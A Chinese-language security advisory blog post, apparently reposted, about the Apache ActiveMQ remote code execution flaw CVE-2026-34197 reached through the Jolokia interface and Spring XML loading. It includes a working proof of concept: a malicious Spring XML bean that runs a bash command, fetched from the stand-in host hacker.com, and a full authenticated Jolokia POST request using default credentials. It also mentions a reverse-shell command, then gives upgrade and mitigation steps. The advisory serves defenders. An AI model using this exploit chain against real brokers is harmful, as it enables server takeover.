紧急预警!ApacheActiveMQ爆出高危RCE漏洞(CVE-2026-34197)

admin 2026-04-13 05:33:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: ApacheActiveMQ爆出高危RCE漏洞CVE-2026-34197,攻击者通过Jolokia接口利用SpringXML注入可在认证后执行任意系统命令。影响5.x系列<5.19.4和6.x系列<6.2.3版本。建议立即升级至安全版本,或采取隔离控制台、修改默认口令、封堵Jolokia接口等临时缓解措施。 综合评分: 85 文章分类: 漏洞预警,漏洞分析,应急响应,WEB安全,解决方案


cover_image

紧急预警!Apache ActiveMQ 爆出高危 RCE 漏洞 (CVE-2026-34197)

Web安全工具库

2026年4月10日 10:07 河南

#

如果你公司的业务里用到了 Apache ActiveMQ,这两天可能又要忙着打补丁了。

就在刚刚,安全圈爆出了一个针对 Apache ActiveMQ 的高危漏洞,编号为 CVE-2026-34197。这是一个典型的输入验证不当加上代码注入导致的远程代码执行(RCE)漏洞。如果你的 ActiveMQ Web 控制台对外开放,并且攻击者拿到了控制台的访问权限,他就能直接在你的服务器 JVM 上执行系统命令!

今天我们就从底层原理到利用链,彻底把这个漏洞扒清楚,顺便聊聊怎么防。

一、漏洞速览:到底是个什么级别的雷?

在展开技术细节之前,我们先过一遍这个漏洞的核心画像:

  • • 漏洞编号: CVE-2026-34197

  • • 影响组件: Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ Classic

  • • 漏洞类型: CWE-20(输入验证不当)、CWE-94(代码注入)

  • • 漏洞危害: 认证后的攻击者可远程执行任意代码(RCE),直接拿下服务器权限。

  • • 受影响版本:

  • • 5.x 系列:**< 5.19**< 5.19.4**

  • • 6.x 系列:>= 6.0.0 且 < 6.2.3

  • • **安全安全版本(官方修复): 5.19.4 和 6.2.3

一句话总结:虽然需要认证,但只要能登录虽然需要认证,但只要能登录 Web 控制台,就能通过管理接口反弹 Shell。


二、原理解析:一条精巧的 Spring XML 投毒链

作为安全工程师,咱们不能只知其然不知其所以然。这个漏洞是怎么触发的呢?核心问题出在 **Jolokia JMX-HTTPJolokia JMX-HTTP 桥接接口 和 Spring 的 Bean 实例化机制 配合上。

1. 暴露的管理接口 /api/jolokia//api/jolokia/`

Apache ActiveMQ Classic 的 Web 控制台默认会在 /api/jolokia/ 暴露一个 Jolokia 接口。Jolokia 是干嘛的?它允许你通过 HTTP 请求去管理和操作后端的 JMX MBeans。

2. 权限策略过于宽泛

问题在于,Jolokia 默认的访问策略允许对所有的 ActiveMQ MBeans (org.apache.activemq:*) 执行 exec(执行)操作。 这就包含了两个非常危险的方法:

  • • BrokerService.addNetworkConnector(String)
  • • BrokerService.addConnector(String)

3. 致命的 Spring 加载机制

攻击者调用上述方法时,可以传入一个精心构造的 discovery URI(发现地址)。这个 URI 会触发 VM 传输的 brokerConfig 参数去加载一个远程的 Spring XML 应用上下文

最坑的地方来了:ActiveMQ 使用了 ResourceXmlApplicationContext 来加载这个 XML。**在 BrokerService 对配置进行安全校验之前,Spring 就会把 XML 里面定义的所有单例 Bean 全部实例化!在 BrokerService 对配置进行安全校验之前,Spring 就会把 XML 里面定义的所有单例 Bean 全部实例化! 如果攻击者在 XML 里利用 Runtime.exec() 之类的工厂方法写了恶意代码,代码在“安全检查”之前就已经执行完毕了。


三、攻击推演与代码案例

为了让大家更直观地理解,我们来模拟一下攻击者的视角。

第一步:构造恶意的 Spring XML 文件

攻击者会在自己的公网服务器(假设 IP 是 http://hacker.com/evil.xml)上挂载一个 XML 文件,里面利用 Spring Bean 的生命周期来执行系统命令。

<?xml version="1.0"&nbsp;encoding="UTF-8"?>
<beans&nbsp;xmlns="http://www.springframework.org/schema/beans"
&nbsp; &nbsp; &nbsp; &nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
&nbsp; &nbsp; &nbsp; &nbsp;xsi:schemaLocation="http://www.springframework.org/schema/beans
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;http://www.springframework.org/schema/beans/spring-beans.xsd">

&nbsp; &nbsp;&nbsp;<bean&nbsp;id="pwn"&nbsp;class="java.lang.ProcessBuilder"&nbsp;init-method="start">
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<constructor-arg>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<list>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>bash</value>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>-c</value>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<value>touch /tmp/hacked_by_CVE_2026_34197</value>
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</list>
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</constructor-arg>
&nbsp; &nbsp;&nbsp;</bean>
</beans>

第二步:发送恶意 HTTP 请求

攻击者带着认证凭据(比如默认账号密码 admin/admin),向 ActiveMQ 服务器的 Jolokia 接口发送 POST 请求,调用 addConnector 方法并让其加载恶意的 XML:

POST&nbsp;/api/jolokia/&nbsp;HTTP/1.1
Host:&nbsp;target-activemq:8161
Authorization:&nbsp;Basic YWRtaW46YWRtaW4=
Content-Type:&nbsp;application/json

{
&nbsp; &nbsp;&nbsp;"type":&nbsp;"exec",
&nbsp; &nbsp;&nbsp;"mbean":&nbsp;"org.apache.activemq:type=Broker,brokerName=localhost",
&nbsp; &nbsp;&nbsp;"operation":&nbsp;"addConnector",
&nbsp; &nbsp;&nbsp;"arguments": ["vm://localhost?brokerConfig=xbean:http://hacker.com/evil.xml"]
}

第三步:运行结果

当 ActiveMQ 解析到 brokerConfig=brokerConfig=xbean:http://…&nbsp;时,Spring 开始加载&nbsp;evil.xml&nbsp;并实例化&nbsp;pwn` 这个 Bean。

如果你登录目标服务器,敲下以下命令:

ls&nbsp;-l /tmp/hacked*

你会看到:

-rw-r--r-- 1 activemq activemq 0 Apr 09 21:00 /tmp/hacked_by_CVE_2026_34197

文件被成功创建,说明 RCE 已成功触发。 如果攻击者把命令换成反弹 Shell(如 bashbash -i >& /dev/tcp/…`),服务器就彻底沦陷了。


四、排查与防范指南

面对这种中间件级别的高危漏洞,动作必须要快。建议各位开发和运维兄弟按以下步骤处理:

1. 治本:立刻升级版本

这是最推荐的方案。Apache 官方已经修复了该问题,在实例化 Bean 之前加入了严格的校验。

  • • 如果你用的是 5.x 版本,立刻升级到 5.19.4
  • • 如果你用的是 6.x 版本,立刻升级到 **66.2.3

2. 治标:临时缓解措施

如果线上业务极其复杂,深夜无法立刻停机升级,可以采取以下临时措施保命:

  • • 隔离 Web 控制台: 绝不要把 ActiveMQ 的 8161 端口暴露在公网上。利用防火墙或安全组,将 Web 控制台的访问权限严格限制在内网管理 IP 范围内。
  • • 修改默认口令: 这个漏洞的前提是“Authenticated(认证后)”。很多公司部署完直接用的 admin/admin,请马上修改 conf/users.properties 中的默认密码。
  • • 封堵 Jolokia 接口: 如果不需要通过 HTTP 管理 JMX,可以在 Nginx 反向代理层直接拦截 /api/jolokia/api/jolokia/` 的请求:
location&nbsp;/api/jolokia/ {
&nbsp; &nbsp;&nbsp;return&nbsp;403;&nbsp;# 直接拒绝访问
}

安全无小事,尤其是涉及 Java 反序列化、JNDI 注入以及这种基于 Spring XML 动态加载的漏洞,一旦被勒索软件盯上,后果不堪设想。今天下班前,赶紧查查公司的资产台账吧!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Web安全工具库 《紧急预警!Apache ActiveMQ 爆出高危 RCE 漏洞 (CVE-2026-34197)》

评论:0   参与:  0